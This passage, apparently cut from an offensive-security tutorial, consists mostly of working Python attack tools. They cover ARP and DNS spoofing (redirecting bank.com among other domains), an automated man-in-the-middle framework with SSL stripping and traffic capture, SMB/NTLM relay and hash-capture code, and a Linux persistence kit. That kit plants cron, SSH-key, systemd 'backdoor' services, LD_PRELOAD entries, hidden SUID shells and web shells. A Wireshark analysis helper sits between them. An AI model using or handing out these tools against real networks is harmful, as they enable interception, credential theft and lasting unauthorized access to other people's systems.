sniff(iface=self.interface, prn=packet_callback,
filter=filter, count=count, store=0)
# Example usage
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: arp_spoofing.py <interface> <target_ip> <gateway_ip>")
sys.exit(1)
interface = sys.argv[1]
target_ip = sys.argv[2]
gateway_ip = sys.argv[3]
spoofer = ARPSpoofer(interface)
# Start spoofing in a separate thread
spoof_thread = threading.Thread(
target=spoofer.start_spoofing,
args=(target_ip, gateway_ip)
)
spoof_thread.start()
# Sniff traffic
try:
spoofer.sniff_traffic()
except KeyboardInterrupt:
spoofer.stop_spoofing(target_ip, gateway_ip)DNS spoofing redirects victims to malicious sites by forging DNS responses.
#!/usr/bin/env python3
# dns_spoofing.py
from scapy.all import *
import netifaces
import sys
class DNSSpoofer:
def __init__(self, interface):
self.interface = interface
self.running = False
self.redirect_map = {}
def get_gateway(self):
"""Get gateway IP for interface"""
gateways = netifaces.gateways()
default_gateway = gateways['default'][netifaces.AF_INET]
return default_gateway[0]
def get_ip(self):
"""Get IP address of interface"""
addrs = netifaces.ifaddresses(self.interface)
return addrs[netifaces.AF_INET][0]['addr']
def add_redirect(self, domain, redirect_ip):
"""Add domain to redirect map"""
self.redirect_map[domain] = redirect_ip
print(f"[+] Will redirect {domain} to {redirect_ip}")
def dns_response(self, packet):
"""Create spoofed DNS response"""
# Check if it's a DNS query
if packet.haslayer(DNSQR) and packet[IP].src != self.get_ip():
query_name = packet[DNSQR].qname.decode('utf-8').rstrip('.')
# Check if domain is in redirect map
redirect_ip = None
for domain, ip in self.redirect_map.items():
if domain in query_name or query_name in domain:
redirect_ip = ip
print(f"[+] Spoofing DNS for {query_name} -> {redirect_ip}")
break
if redirect_ip:
# Build spoofed response
response = IP(
src=packet[IP].dst,
dst=packet[IP].src
) / UDP(
sport=packet[UDP].dport,
dport=packet[UDP].sport
) / DNS(
id=packet[DNS].id,
qr=1,
aa=1,
qd=packet[DNS].qd,
an=DNSRR(
rrname=packet[DNS].qd.qname,
ttl=300,
rdata=redirect_ip
)
)
# Send spoofed response
send(response, iface=self.interface, verbose=False)
return True
return False
def start_spoofing(self):
"""Start DNS spoofing"""
self.running = True
print(f"[*] Starting DNS spoofing on {self.interface}")
print("[*] Press Ctrl+C to stop")
# Enable IP forwarding
with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
f.write('1')
try:
sniff(iface=self.interface, prn=self.dns_response, store=0)
except KeyboardInterrupt:
print("\n[*] Stopping DNS spoofing...")
self.stop_spoofing()
def stop_spoofing(self):
"""Stop DNS spoofing"""
self.running = False
# Disable IP forwarding
with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
f.write('0')
print("[+] DNS spoofing stopped")
# Example usage
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: dns_spoofing.py <interface>")
sys.exit(1)
interface = sys.argv[1]
spoofer = DNSSpoofer(interface)
# Add redirects
spoofer.add_redirect("example.com", "192.168.1.100")
spoofer.add_redirect("google.com", "192.168.1.100")
spoofer.add_redirect("bank.com", "192.168.1.100")
# Start spoofing
spoofer.start_spoofing()Man-in-the-Middle attacks intercept and potentially modify communications between two parties.
#!/usr/bin/env python3
# mitm_framework.py
import threading
import subprocess
import os
import signal
import time
class MITMFramework:
def __init__(self, interface, target_ip, gateway_ip):
self.interface = interface
self.target_ip = target_ip
self.gateway_ip = gateway_ip
self.processes = []
def enable_ip_forwarding(self):
"""Enable IP forwarding"""
with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
f.write('1')
print("[+] IP forwarding enabled")
def disable_ip_forwarding(self):
"""Disable IP forwarding"""
with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
f.write('0')
print("[+] IP forwarding disabled")
def setup_iptables_redirect(self, redirect_port=8080):
"""Setup iptables to redirect traffic"""
# Redirect HTTP to local port
cmd1 = ['sudo', 'iptables', '-t', 'nat', '-A', 'PREROUTING',
'-p', 'tcp', '--dport', '80', '-j', 'REDIRECT',
'--to-port', str(redirect_port)]
# Redirect HTTPS to local port
cmd2 = ['sudo', 'iptables', '-t', 'nat', '-A', 'PREROUTING',
'-p', 'tcp', '--dport', '443', '-j', 'REDIRECT',
'--to-port', str(redirect_port)]
subprocess.run(cmd1)
subprocess.run(cmd2)
print(f"[+] Traffic redirected to port {redirect_port}")
def clear_iptables(self):
"""Clear iptables rules"""
subprocess.run(['sudo', 'iptables', '-t', 'nat', '-F'])
subprocess.run(['sudo', 'iptables', '-F'])
print("[+] iptables rules cleared")
def start_arpspoof(self):
"""Start ARP spoofing"""
# Spoof target
cmd1 = ['sudo', 'arpspoof', '-i', self.interface,
'-t', self.target_ip, self.gateway_ip]
# Spoof gateway
cmd2 = ['sudo', 'arpspoof', '-i', self.interface,
'-t', self.gateway_ip, self.target_ip]
proc1 = subprocess.Popen(cmd1, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
proc2 = subprocess.Popen(cmd2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
self.processes.extend([proc1, proc2])
print("[+] ARP spoofing started")
def start_sslstrip(self, port=8080):
"""Start SSLstrip to downgrade HTTPS to HTTP"""
try:
proc = subprocess.Popen(['sslstrip', '-l', str(port), '-w', 'sslstrip.log'],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
self.processes.append(proc)
print(f"[+] SSLstrip started on port {port}")
except FileNotFoundError:
print("[-] sslstrip not found. Install with: pip install sslstrip")
def start_dnsspoof(self, hosts_file):
"""Start DNS spoofing"""
cmd = ['sudo', 'dnsspoof', '-i', self.interface, '-f', hosts_file]
proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
self.processes.append(proc)
print("[+] DNS spoofing started")
def create_hosts_file(self, redirects):
"""Create hosts file for DNS spoofing"""
with open('/tmp/dnsspoof.hosts', 'w') as f:
for ip, domains in redirects.items():
for domain in domains:
f.write(f"{ip}\t{domain}\n")
print(f"[+] Hosts file created with {len(redirects)} entries")
return '/tmp/dnsspoof.hosts'
def start_driftnet(self):
"""Start driftnet to capture images"""
cmd = ['sudo', 'driftnet', '-i', self.interface]
proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
self.processes.append(proc)
print("[+] driftnet started")
def start_urlsnarf(self):
"""Start urlsnarf to capture URLs"""
cmd = ['sudo', 'urlsnarf', '-i', self.interface]
proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
self.processes.append(proc)
print("[+] urlsnarf started")
def start_tcpdump(self, output_file='capture.pcap'):
"""Start tcpdump to capture all traffic"""
cmd = ['sudo', 'tcpdump', '-i', self.interface, '-w', output_file]
proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
self.processes.append(proc)
print(f"[+] tcpdump started, saving to {output_file}")
def stop_all(self):
"""Stop all running processes"""
print("[*] Stopping all processes...")
for proc in self.processes:
proc.terminate()
time.sleep(2)
for proc in self.processes:
if proc.poll() is None:
proc.kill()
self.processes.clear()
def run_full_mitm(self, sslstrip_port=8080, capture_images=True, capture_urls=True):
"""Run full MITM attack with all components"""
print("=" * 60)
print("MAN-IN-THE-MIDDLE ATTACK")
print("=" * 60)
# Enable IP forwarding
self.enable_ip_forwarding()
# Setup iptables redirect
self.setup_iptables_redirect(sslstrip_port)
# Start ARP spoofing
self.start_arpspoof()
# Start SSLstrip
self.start_sslstrip(sslstrip_port)
# Start other tools
if capture_images:
self.start_driftnet()
if capture_urls:
self.start_urlsnarf()
# Start packet capture
self.start_tcpdump()
print("\n[*] MITM attack running. Press Ctrl+C to stop...")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Stopping MITM attack...")
self.stop_all()
self.clear_iptables()
self.disable_ip_forwarding()
print("[+] MITM attack stopped")
# Example usage
mitm = MITMFramework('eth0', '192.168.1.100', '192.168.1.1')
# Create hosts file for DNS spoofing
redirects = {
'192.168.1.50': ['example.com', 'www.example.com'],
'192.168.1.51': ['bank.com', 'www.bank.com']
}
hosts_file = mitm.create_hosts_file(redirects)
# Start DNS spoofing
# mitm.start_dnsspoof(hosts_file)
# Run full MITM
mitm.run_full_mitm()Server Message Block (SMB) protocol attacks target Windows file sharing.
#!/usr/bin/env python3
# smb_relay.py
import subprocess
import os
class SMBRelay:
def __init__(self):
self.techniques = {
'smb_relay': 'Relay SMB authentication to another system',
'ntlm_relay': 'Relay NTLM authentication',
'smb_signing_disabled': 'Exploit systems with SMB signing disabled',
'responder': 'Capture NTLM hashes using Responder'
}
def check_smb_signing(self, target):
"""Check if SMB signing is disabled"""
print(f"[*] Checking SMB signing on {target}")
cmd = ['nmap', '-p', '445', '--script', 'smb2-security-mode', target]
try:
result = subprocess.run(cmd, capture_output=True, text=True)
if 'signing is required' in result.stdout.lower():
print(f"[+] SMB signing is enabled on {target}")
return True
else:
print(f"[!] SMB signing is disabled on {target} - vulnerable to relay")
return False
except:
pass
return None
def run_responder(self, interface, analyze=False):
"""Run Responder to capture NTLM hashes"""
cmd = ['sudo', 'responder', '-I', interface]
if analyze:
cmd.append('-A') # Analyze mode
print(f"[*] Starting Responder: {' '.join(cmd)}")
# This runs interactively
return cmd
def run_ntlmrelayx(self, targets, commands=None):
"""Run ntlmrelayx to relay authentication"""
cmd = ['ntlmrelayx.py', '-tf', targets]
if commands:
cmd.extend(['-c', commands])
print(f"[*] Starting ntlmrelayx: {' '.join(cmd)}")
return cmd
def create_targets_file(self, targets, filename):
"""Create targets file for ntlmrelayx"""
with open(filename, 'w') as f:
for target in targets:
f.write(target + '\n')
print(f"[+] Targets file created: {filename}")
return filename
def smb_exec(self, target, username, password, command):
"""Execute command via SMB using psexec"""
cmd = ['psexec.py', f'{username}:{password}@{target}', command]
try:
result = subprocess.run(cmd, capture_output=True, text=True)
print(result.stdout)
return result.stdout
except Exception as e:
print(f"Error: {e}")
return None
# Example usage
smb = SMBRelay()
# Check SMB signing
smb.check_smb_signing('192.168.1.100')
# Create targets file
targets = smb.create_targets_file(['192.168.1.101', '192.168.1.102'], 'smb_targets.txt')
# Run ntlmrelayx (would be used with Responder)
# smb.run_ntlmrelayx('smb_targets.txt', 'whoami')NTLM relay attacks capture and forward NTLM authentication attempts.
#!/usr/bin/env python3
# ntlm_relay.py
import socket
import threading
import struct
import base64
class NTLMRelay:
def __init__(self, listen_port=445, target_host=None):
self.listen_port = listen_port
self.target_host = target_host
self.running = False
def handle_client(self, client_socket, address):
"""Handle incoming client connection"""
print(f"[+] Connection from {address}")
if self.target_host:
# Connect to target
target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target_socket.connect((self.target_host, 445))
print(f"[+] Connected to target {self.target_host}")
# Relay traffic between client and target
self.relay_traffic(client_socket, target_socket)
else:
# Just capture NTLM authentication
self.capture_ntlm(client_socket)
def relay_traffic(self, client_sock, target_sock):
"""Relay traffic between client and target"""
# Set sockets to non-blocking
client_sock.setblocking(0)
target_sock.setblocking(0)
sockets = [client_sock, target_sock]
while self.running:
try:
readable, _, _ = select.select(sockets, [], [], 1)
for sock in readable:
data = sock.recv(4096)
if not data:
return
# Relay to other socket
if sock is client_sock:
target_sock.send(data)
self.log_packet("Client -> Target", data)
else:
client_sock.send(data)
self.log_packet("Target -> Client", data)
except:
pass
def capture_ntlm(self, client_socket):
"""Capture NTLM authentication attempt"""
# This would parse NTLMSSP messages
# Simplified for demonstration
data = client_socket.recv(4096)
# Look for NTLMSSP signature
if b'NTLMSSP' in data:
print("[!] NTLM authentication captured!")
# Extract NTLM hash
# This would involve parsing the NTLMSSP structure
# Log the raw data
with open('ntlm_captures.txt', 'ab') as f:
f.write(data)
def log_packet(self, direction, data):
"""Log relayed packet"""
# In practice, you might want to analyze/modify packets
pass
def start(self):
"""Start NTLM relay server"""
self.running = True
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', self.listen_port))
server.listen(5)
print(f"[*] NTLM relay listening on port {self.listen_port}")
while self.running:
try:
client, addr = server.accept()
thread = threading.Thread(target=self.handle_client, args=(client, addr))
thread.daemon = True
thread.start()
except:
pass
def stop(self):
"""Stop relay server"""
self.running = False
# Example usage
relay = NTLMRelay(listen_port=445, target_host='192.168.1.100')
# relay.start()Wireshark is the premier network protocol analyzer for packet capture and analysis.
#!/usr/bin/env python3
# wireshark_automation.py
import subprocess
import os
import json
import pyshark
class WiresharkAutomation:
def __init__(self):
self.capture = None
def capture_packets(self, interface, count=100, output_file='capture.pcap'):
"""Capture packets using tshark"""
cmd = ['tshark', '-i', interface, '-c', str(count), '-w', output_file]
print(f"[*] Capturing {count} packets on {interface}")
try:
subprocess.run(cmd)
print(f"[+] Packets saved to {output_file}")
return output_file
except Exception as e:
print(f"Error: {e}")
return None
def analyze_pcap(self, pcap_file):
"""Analyze PCAP file using pyshark"""
print(f"[*] Analyzing {pcap_file}")
cap = pyshark.FileCapture(pcap_file)
stats = {
'total_packets': 0,
'protocols': {},
'ip_addresses': set(),
'http_requests': [],
'dns_queries': [],
'tcp_streams': set()
}
for packet in cap:
stats['total_packets'] += 1
# Count protocols
highest_layer = packet.highest_layer
stats['protocols'][highest_layer] = stats['protocols'].get(highest_layer, 0) + 1
# Collect IP addresses
if 'IP' in packet:
stats['ip_addresses'].add(packet.ip.src)
stats['ip_addresses'].add(packet.ip.dst)
# HTTP requests
if 'HTTP' in packet:
if hasattr(packet.http, 'request_method'):
stats['http_requests'].append({
'method': packet.http.request_method,
'uri': packet.http.request_uri if hasattr(packet.http, 'request_uri') else '',
'host': packet.http.host if hasattr(packet.http, 'host') else ''
})
# DNS queries
if 'DNS' in packet:
if hasattr(packet.dns, 'qry_name'):
stats['dns_queries'].append(packet.dns.qry_name)
# TCP streams
if 'TCP' in packet:
stream_id = f"{packet.ip.src}:{packet.tcp.srcport}->{packet.ip.dst}:{packet.tcp.dstport}"
stats['tcp_streams'].add(stream_id)
cap.close()
return stats
def filter_pcap(self, pcap_file, filter_expression, output_file='filtered.pcap'):
"""Filter PCAP using display filter"""
cmd = ['tshark', '-r', pcap_file, '-Y', filter_expression, '-w', output_file]
try:
subprocess.run(cmd)
print(f"[+] Filtered packets saved to {output_file}")
return output_file
except Exception as e:
print(f"Error: {e}")
return None
def extract_objects(self, pcap_file, object_type='http'):
"""Extract objects from capture (HTTP files, etc.)"""
if object_type == 'http':
cmd = ['tshark', '-r', pcap_file, '--export-objects', 'http,./extracted']
elif object_type == 'smb':
cmd = ['tshark', '-r', pcap_file, '--export-objects', 'smb,./extracted']
else:
print(f"[-] Unknown object type: {object_type}")
return None
try:
os.makedirs('extracted', exist_ok=True)
subprocess.run(cmd)
print(f"[+] Objects extracted to ./extracted")
return './extracted'
except Exception as e:
print(f"Error: {e}")
return None
def follow_stream(self, pcap_file, stream_index, protocol='tcp'):
"""Follow and extract TCP/UDP stream"""
cmd = ['tshark', '-r', pcap_file, '-q', '--follow', protocol,
'--color', str(stream_index)]
try:
result = subprocess.run(cmd, capture_output=True, text=True)
return result.stdout
except Exception as e:
print(f"Error: {e}")
return None
def generate_statistics(self, pcap_file):
"""Generate various statistics"""
stats = {}
# Protocol hierarchy
proto_cmd = ['tshark', '-r', pcap_file, '-z', 'io,phs', '-q']
proto_result = subprocess.run(proto_cmd, capture_output=True, text=True)
stats['protocol_hierarchy'] = proto_result.stdout
# Endpoints
endpoints_cmd = ['tshark', '-r', pcap_file, '-z', 'endpoints,ip', '-q']
endpoints_result = subprocess.run(endpoints_cmd, capture_output=True, text=True)
stats['endpoints'] = endpoints_result.stdout
# Conversations
conv_cmd = ['tshark', '-r', pcap_file, '-z', 'conv,ip', '-q']
conv_result = subprocess.run(conv_cmd, capture_output=True, text=True)
stats['conversations'] = conv_result.stdout
return stats
def live_capture_and_alert(self, interface, alert_filter, callback):
"""Live capture with alerting"""
def packet_handler(pkt):
if alert_filter in str(pkt):
callback(pkt)
cap = pyshark.LiveCapture(interface=interface)
cap.apply_on_packets(packet_handler)
# Example usage
wireshark = WiresharkAutomation()
# Capture packets
pcap = wireshark.capture_packets('eth0', count=100, output_file='test.pcap')
if pcap:
# Analyze
stats = wireshark.analyze_pcap(pcap)
print(json.dumps(stats, indent=2, default=str))
# Filter
filtered = wireshark.filter_pcap(pcap, 'http')
# Extract objects
# wireshark.extract_objects(pcap, 'http')
# Generate statistics
# stats = wireshark.generate_statistics(pcap)
# print(stats)Post-exploitation refers to the phase after initial compromise, where attackers aim to maintain persistence, escalate privileges, move laterally, and extract valuable data. This phase is critical for both attackers and defenders to understand.
Persistence ensures continued access to a compromised system even after reboots or credential changes.
#!/usr/bin/env python3
# linux_persistence.py
import os
import subprocess
import pwd
import grp
import stat
from datetime import datetime
class LinuxPersistence:
def __init__(self, session):
self.session = session
self.techniques = []
def add_cron_persistence(self, command, schedule="@reboot"):
"""Add persistence via cron jobs"""
print("[*] Adding cron persistence...")
# System-wide crontab
system_crontab = "/etc/crontab"
cron_entry = f"{schedule} root {command}\n"
try:
with open(system_crontab, 'a') as f:
f.write(cron_entry)
print(f"[+] Added to {system_crontab}")
self.techniques.append("cron_system")
except:
pass
# User crontab
try:
result = subprocess.run(['crontab', '-l'], capture_output=True, text=True)
current_cron = result.stdout
new_cron = current_cron + f"{schedule} {command}\n"
with open('/tmp/newcron', 'w') as f:
f.write(new_cron)
subprocess.run(['crontab', '/tmp/newcron'])
os.remove('/tmp/newcron')
print("[+] Added to user crontab")
self.techniques.append("cron_user")
except:
pass
def add_ssh_persistence(self, ssh_key):
"""Add persistence via SSH authorized_keys"""
print("[*] Adding SSH persistence...")
ssh_dir = os.path.expanduser("~/.ssh")
auth_keys = os.path.join(ssh_dir, "authorized_keys")
# Create .ssh directory if it doesn't exist
if not os.path.exists(ssh_dir):
os.makedirs(ssh_dir, mode=0o700)
# Add SSH key
try:
with open(auth_keys, 'a') as f:
f.write(ssh_key + '\n')
os.chmod(auth_keys, 0o600)
print(f"[+] SSH key added to {auth_keys}")
self.techniques.append("ssh_key")
except Exception as e:
print(f"[-] Failed to add SSH key: {e}")
def add_systemd_persistence(self, service_name, command):
"""Add persistence via systemd service"""
print("[*] Adding systemd persistence...")
service_file = f"/etc/systemd/system/{service_name}.service"
service_content = f"""[Unit]
Description={service_name}
After=network.target
[Service]
Type=simple
ExecStart={command}
Restart=always
RestartSec=10
User=root
[Install]
WantedBy=multi-user.target
"""
try:
with open(service_file, 'w') as f:
f.write(service_content)
# Enable and start service
subprocess.run(['systemctl', 'enable', service_name])
subprocess.run(['systemctl', 'start', service_name])
print(f"[+] Systemd service {service_name} created and started")
self.techniques.append("systemd")
except Exception as e:
print(f"[-] Failed to create systemd service: {e}")
def add_ld_preload_persistence(self, library_path):
"""Add persistence via LD_PRELOAD"""
print("[*] Adding LD_PRELOAD persistence...")
ld_preload_file = "/etc/ld.so.preload"
try:
with open(ld_preload_file, 'a') as f:
f.write(library_path + '\n')
print(f"[+] Added to {ld_preload_file}")
self.techniques.append("ld_preload")
except:
pass
def add_bashrc_persistence(self, command):
"""Add persistence via .bashrc"""
print("[*] Adding bashrc persistence...")
bashrc = os.path.expanduser("~/.bashrc")
try:
with open(bashrc, 'a') as f:
f.write(f"\n# Persistence\n{command}\n")
print(f"[+] Added to {bashrc}")
self.techniques.append("bashrc")
except:
pass
def add_suid_binary(self, binary_path):
"""Create SUID binary for persistence"""
print("[*] Creating SUID binary...")
# Copy /bin/bash or other binary
suid_binary = "/tmp/.bash"
try:
subprocess.run(['cp', binary_path, suid_binary])
os.chmod(suid_binary, 0o4755) # SUID bit
print(f"[+] SUID binary created at {suid_binary}")
self.techniques.append("suid_binary")
except Exception as e:
print(f"[-] Failed to create SUID binary: {e}")
def add_web_shell(self, web_root, shell_content):
"""Add web shell for persistence"""
print("[*] Adding web shell...")
web_shells = [
os.path.join(web_root, "shell.php"),
os.path.join(web_root, "images/.shell.php"),
os.path.join(web_root, "wp-content/.shell.php")
]
for shell_path in web_shells:
try:
os.makedirs(os.path.dirname(shell_path), exist_ok=True)
with open(shell_path, 'w') as f:
f.write(shell_content)
print(f"[+] Web shell added at {shell_path}")
self.techniques.append("web_shell")
break
except:
pass
def add_kernel_module_persistence(self, module_path):
"""Add persistence via kernel module"""
print("[*] Adding kernel module persistence...")
modules_file = "/etc/modules"
try:
module_name = os.path.basename(module_path).replace('.ko', '')
with open(modules_file, 'a') as f:
f.write(module_name + '\n')
print(f"[+] Added {module_name} to {modules_file}")
self.techniques.append("kernel_module")
except:
pass
def list_techniques(self):
"""List all persistence techniques used"""
print("\n[+] Persistence Techniques Applied:")
for technique in self.techniques:
print(f" • {technique}")
return self.techniques
def cleanup(self):
"""Remove persistence mechanisms (for cleanup after testing)"""
print("[*] Cleaning up persistence mechanisms...")
# Remove cron entries
# Remove SSH keys
# Remove systemd services
# etc.
print("[+] Cleanup complete")
# Example usage
persist = LinuxPersistence(session=None)
# Add various persistence mechanisms
persist.add_cron_persistence("/tmp/backdoor.sh", "@reboot")
persist.add_ssh_persistence("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...")
persist.add_systemd_persistence("systemd-backdoor"